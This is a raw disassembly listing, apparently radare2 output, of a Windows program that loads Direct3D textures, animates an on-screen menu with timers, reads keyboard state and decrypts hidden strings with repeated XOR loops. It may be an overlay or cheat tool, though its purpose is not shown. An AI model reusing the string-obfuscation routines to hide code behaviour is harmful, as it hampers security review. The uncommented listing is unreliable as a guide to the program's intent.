cmp qword [0x1404397a0], 0
jne 0x1400756d5
lea rax, [0x1404397a0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_30
mov r9d, Ordinal_26
mov r8d, 0x17d
lea rdx, [0x1401221b0]
mov rcx, qword [0x140439810]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
cmp qword [0x1404397a8], 0
jne 0x140075744
lea rax, [0x1404397a8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_30
mov r9d, Ordinal_26
mov r8d, 0x183
lea rdx, [0x140122330]
mov rcx, qword [0x140439810]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
call fcn.14003bdd0
call fcn.14003cbc0
call fcn.140012dd0
mov rax, qword gs:[0x58]
mov r14, qword [rax + r14*8]
mov eax, dword [rdi + r14]
cmp dword [0x14043a238], eax
jg 0x1400799cd
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a234]
cmp eax, 0x3e8
jbe 0x14007578a
mov byte [reloc.WS2_32.dll_accept], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a234]
cmp eax, 0x9c4
jbe 0x1400757a4
mov byte [0x14043a233], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a234]
cmp eax, 0x2904
jbe 0x1400757be
mov byte [0x14043a231], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a234]
cmp eax, 0x30d4
jbe 0x1400757d8
mov byte [0x14043a232], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a234]
cmp eax, 0x3a98
jbe 0x14007580b
mov byte [0x14043a230], 1
cmp byte [0x1404397c5], 0
jne 0x14007580b
cmp byte [0x1404397c4], 0
jne 0x14007580b
mov byte [reloc.WS2_32.dll_accept], 0
movaps xmm1, xmm13
mov ecx, r12d
call fcn.1400149d0
mov qword [rsp + 0x408], 0
lea rdx, [rsp + 0x408]
mov ecx, 2
call fcn.1400148f0
movaps xmm0, xmmword [0x1400f0450]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov edx, eax
mov ecx, 2
call fcn.140014820
mov qword [rsp + 0x400], 0
mov qword [rsp + 0x3f0], 0
lea r8, [rsp + 0x400]
xor edx, edx
lea rcx, [rsp + 0x3f0]
call fcn.140018ce0
mov dword [rsp + 0x390], 0x44228000
mov dword [rsp + 0x394], 0x43c80000
xor edx, edx
lea rcx, [rsp + 0x390]
call fcn.140018d70
mov eax, dword [0x1400f8888]
mov dword [rsp + 0x115], eax
movzx ecx, word [0x1400f888c]
mov word [rsp + 0x119], cx
movzx eax, byte [0x1400f888e]
mov byte [rsp + 0x115], reloc.WLDAP32.dll_Ordinal_35
xor byte [rsp + 0x116], 0x36
xor byte [rsp + 0x117], 0x37
xor byte [rsp + 0x118], 0x38
xor cl, 0x39
mov byte [rsp + 0x119], cl
xor byte [rsp + 0x11a], 0x3a
xor al, 0x3b
mov byte [rsp + 0x11b], al
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rsp + 0x115]
call fcn.1400042e0
mov rcx, qword [0x1404395f0]
mov rax, qword [rcx + 0x3eb0]
mov byte [rax + 0x98], 1
mov rax, qword [rcx + 0x3eb0]
mov rbx, qword [rax + 0x278]
movss xmm9, dword [rax + 0x18]
movss xmm10, dword [rax + 0x1c]
mov ecx, dword [rsp + 0xe0]
test ecx, ecx
je 0x14007940b
sub ecx, 1
je 0x140076aea
cmp ecx, 1
jne 0x1400796bc
mov eax, dword [rdi + r14]
cmp dword [0x14043a258], eax
jg 0x140079a04
mov byte [reloc.WS2_32.dll_accept], 1
mov eax, 0xff
mov edx, dword [0x140439800]
sub eax, edx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm6
movd xmm0, edx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si ecx, xmm1
call fcn.140059c50
mov rdx, qword [0x140439810]
mov rcx, rbx
call fcn.14003e460
call fcn.14000d0f0
mov rbx, rax
movaps xmm0, xmmword [0x1400faf10]
movups xmmword [rsp + 0x820], xmm0
lea rcx, [rsp + 0x820]
call fcn.140008d20
movaps xmm0, xmm9
addss xmm0, xmm7
movss dword [rsp + 0x388], xmm0
movaps xmm1, xmm10
addss xmm1, xmm8
movss dword [rsp + 0x38c], xmm1
movaps xmm0, xmm9
addss xmm0, xmm13
movss dword [rsp + 0x380], xmm0
movaps xmm1, xmm10
addss xmm1, xmm13
movss dword [rsp + 0x384], xmm1
mov dword [rsp + 0x28], 0xf0
movss xmm0, dword [0x1400f02d8]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x388]
lea rdx, [rsp + 0x380]
mov rcx, rbx
call fcn.1400219d0
movzx eax, byte [reloc.WS2_32.dll_accept]
neg al
sbb ecx, ecx
movzx ecx, cl
mov eax, dword [0x140439800]
sub ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140439800], eax
mov dword [rsp + 0x378], 0x438f8000
movd xmm0, dword [str.idd]
cvtdq2ps xmm0, xmm0
movss dword [rsp + 0x37c], xmm0
lea rcx, [rsp + 0x378]
call fcn.140018750
mov dword [rsp + 0x570], 0
mov dword [rsp + 0x574], 0x3f3ebebf
mov dword [rsp + 0x578], 0x3f800000
movd xmm0, dword [0x140439800]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x57c], xmm0
movsd xmm0, qword [0x1400f8a70]
movsd qword [rsp + 0x90], xmm0
movzx eax, word [0x1400f8a78]
mov word [rsp + 0x98], ax
cmp byte [0x1400f8a79], 0
je 0x140075b77
mov byte [rsp + 0x90], reloc.WLDAP32.dll_Ordinal_35
xor byte [rsp + 0x91], 0x36
xor byte [rsp + 0x92], 0x37
xor byte [rsp + 0x93], 0x38
xor byte [rsp + 0x94], 0x39
xor byte [rsp + 0x95], 0x3a
xor byte [rsp + 0x96], 0x3b
xor byte [rsp + 0x97], 0x3c
xor byte [rsp + 0x98], 0x3d
xor byte [rsp + 0x99], 0x3e
movss xmm0, dword [0x1400f0414]
movss dword [rsp + 0x20], xmm0
lea r9, [rsp + 0x570]
movss xmm2, dword [0x1400f02c8]
movss xmm1, dword [0x1400f0434]
lea rcx, [rsp + 0x90]
call fcn.14005de50
call fcn.14000d0f0
mov rbx, rax
movups xmm0, xmmword [str.a_YHehJ____DeZRYJ_ekWK__a_1d]
movups xmmword [rsp + 0x280], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x140075d70
cmp r15d, 2
jl 0x140075d2d
movdqa xmm5, xmmword [0x1400f5690]
mov edx, esi
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
mov edi, Ordinal_35
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x284]
mov r8d, dword [rsp + 0xc0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140075c30
jmp 0x140075d75
lea r9, [rsp + 0x280]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140075d40
mov edi, Ordinal_35
mov dword [rsp + 0x580], 0x3f800000
mov dword [rsp + 0x584], 0x3f800000
mov dword [rsp + 0x588], 0x3f800000
movd xmm0, dword [0x140439800]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x58c], xmm0
lea rcx, [rsp + 0x580]
call fcn.140008d20
movaps xmm0, xmm9
addss xmm0, dword [0x1400fadc8]
movss dword [rsp + 0x370], xmm0
movd xmm1, dword [0x140438270]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm10
movss dword [rsp + 0x374], xmm1
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x280]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x370]
movss xmm2, dword [0x1400f042c]
mov rdx, qword [0x140439790]
mov rcx, rbx
call fcn.140023440
call fcn.14000d0f0
mov rbx, rax
movups xmm0, xmmword [0x1400f8a90]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [0x1400f8aa0]
movups xmmword [rsp + 0x130], xmm1
psrldq xmm1, 0xf
movd ecx, xmm1
test cl, cl
je 0x140075ff0
cmp r15d, 2
jl 0x140075fae
movdqa xmm5, xmmword [0x1400f5690]
mov edx, esi
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov r8d, dword [rsp + 0xc0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140075eb1
jmp 0x140075ff0
lea r9, [rsp + 0x120]
mov r8d, esi
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140075fc0
mov dword [rsp + 0x590], 0x3f7afafc
mov dword [rsp + 0x594], 0x3f7afafc
mov dword [rsp + 0x598], 0x3f7afafc
mov eax, dword [0x140439800]
cmp byte [0x14043a25c], 0
cmovne eax, dword [0x140438284]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x59c], xmm0
lea rcx, [rsp + 0x590]
call fcn.140008d20
movaps xmm0, xmm9
addss xmm0, dword [0x1400fadc0]
movss dword [rsp + 0x368], xmm0
movaps xmm1, xmm10
addss xmm1, dword [0x1400fadbc]
movss dword [rsp + 0x36c], xmm1
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x368]
movaps xmm2, xmm15
mov rdx, qword [0x140439788]
mov rcx, rbx
call fcn.140023440
call fcn.14000d0f0
mov rbx, rax
movups xmm0, xmmword [0x1400f8ab0]
movups xmmword [rsp + 0x120], xmm0
movzx ecx, word [0x1400f8ac0]
mov word [rsp + 0x130], cx
movzx ecx, byte [0x1400f8ac2]
mov byte [rsp + 0x132], cl
mov r8d, esi
cmp r15d, 2
jl 0x140076234
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140076131
cmp r8d, 0x13
jge 0x140076280
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140076250
movd xmm0, dword [0x140438274]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x5a0], xmm0
movss dword [rsp + 0x5a4], xmm0
movss dword [rsp + 0x5a8], xmm0
mov eax, dword [0x140439800]
cmp byte [0x14043a25c], 0
cmovne eax, dword [0x140438278]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x5ac], xmm0
lea rcx, [rsp + 0x5a0]
call fcn.140008d20
movaps xmm0, xmm9
addss xmm0, dword [0x1400fadd4]
movss dword [rsp + 0x360], xmm0
movd xmm1, dword [0x140438288]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm10
movss dword [rsp + 0x364], xmm1
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x360]
movaps xmm2, xmm15
mov rdx, qword [0x140439788]
mov rcx, rbx
call fcn.140023440
call fcn.14000d0f0
mov rbx, rax
movsd xmm0, qword [str.fBVJM]
movsd qword [rsp + 0x1d7], xmm0
mov ecx, dword [0x1400f8ad0]
mov dword [rsp + 0x1df], ecx
movzx ecx, word [0x1400f8ad4]
mov word [rsp + 0x1e3], cx
movzx ecx, byte [0x1400f8ad6]
mov byte [rsp + 0x1e5], cl
mov r8d, esi
cmp r15d, 2
jl 0x1400764ac
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fBVJM]
xorps xmm2, xmm0
movd dword [rsp + 0x1d7], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1db]
xorps xmm2, xmm1
movd dword [rsp + 0x1db], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x1d7]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400764c0
movd xmm0, dword [0x14043827c]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x5b0], xmm0
movss dword [rsp + 0x5b4], xmm0
movss dword [rsp + 0x5b8], xmm0
mov eax, dword [0x140439800]
cmp byte [0x14043a25c], 0
cmovne eax, dword [0x140438280]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x5bc], xmm0
lea rcx, [rsp + 0x5b0]
call fcn.140008d20
movaps xmm0, xmm9
addss xmm0, dword [0x1400fadd8]
movss dword [rsp + 0x3f8], xmm0
movd xmm1, dword [0x14043828c]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm10
movss dword [rsp + 0x3fc], xmm1
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x1d7]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x3f8]
movaps xmm2, xmm15
mov rdx, qword [0x140439788]
mov rcx, rbx
call fcn.140023440
call fcn.14000d0f0
mov rbx, rax
movups xmm0, xmmword [str.vR_R]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [0x1400f8ae8]
movups xmmword [rsp + 0x130], xmm1
movups xmm0, xmmword [0x1400f8af8]
movups xmmword [rsp + 0x140], xmm0
movzx ecx, word [0x1400f8b08]
mov word [rsp + 0x150], cx
movzx ecx, byte [0x1400f8b0a]
mov byte [rsp + 0x152], cl
mov r8d, esi
cmp r15d, 2
jl 0x140076763
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140076660
cmp r8d, 0x33
jge 0x1400767b0
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140076780
mov dword [rsp + 0x490], 0x3f800000
mov dword [rsp + 0x494], 0x3f800000
mov dword [rsp + 0x498], 0x3f800000
movd xmm0, dword [0x140439800]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x49c], xmm0
lea rcx, [rsp + 0x490]
call fcn.140008d20
addss xmm9, dword [0x1400fadb4]
movss dword [rsp + 0x358], xmm9
addss xmm10, dword [0x1400fade4]
movss dword [rsp + 0x35c], xmm10
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x358]
movss xmm2, dword [0x1400f0424]
mov rdx, qword [0x140439788]
mov rcx, rbx
call fcn.140023440
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a254]
cmp eax, 0x1f40
jbe 0x14007687f
mov byte [0x14043a25c], 1
mov byte [0x14043a25d], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a254]
cmp eax, 0x2af8
jbe 0x1400768a0
mov byte [0x14043a25d], 0
mov byte [0x14043a25e], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a254]
cmp eax, 0xc350
jbe 0x1400768c1
mov byte [0x14043a25e], 0
mov byte [0x14043a25f], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a254]
cmp eax, 0xc738
jbe 0x140076902
call fcn.140059570
call fcn.140058e90
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140076902
mov ecx, 0x51
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x1400798cc
movss xmm7, dword [0x1400f0278]
cmp byte [0x14043a25d], 0
je 0x1400769c3
mov eax, 0xff
mov ecx, dword [0x140438274]
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438274], eax
movd xmm2, dword [0x140438284]
cvtdq2ps xmm2, xmm2
movaps xmm0, xmm2
mulss xmm0, xmm7
subss xmm2, xmm0
cvttss2si eax, xmm2
mov dword [0x140438284], eax
mov eax, 0xe6
mov ecx, dword [0x140438288]
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438288], eax
mov eax, 0xfa
mov ecx, dword [0x14043828c]
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si ecx, xmm1
mov dword [0x14043828c], ecx
jmp 0x1400769c9
mov ecx, dword [0x14043828c]
cmp byte [0x14043a25e], 0
je 0x140076a42
movd xmm1, dword [0x140438278]
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm1
mulss xmm0, xmm7
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438278], eax
mov eax, 0xe6
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si ecx, xmm1
mov dword [0x14043828c], ecx
mov eax, 0xff
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x14043827c], eax
movss xmm6, dword [0x1400f026c]
movss xmm7, dword [0x1400f0444]
movss xmm8, dword [0x1400f5d8c]
cmp byte [0x14043a25f], 0
je 0x1400796bc
movd xmm1, dword [0x140438280]
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm1
mulss xmm0, xmm11
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438280], eax
mov eax, __WSAFDIsSet
mov ecx, dword [str.idd]
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [str.idd], eax
mov eax, 0xf0
mov ecx, dword [0x140438270]
sub eax, ecx
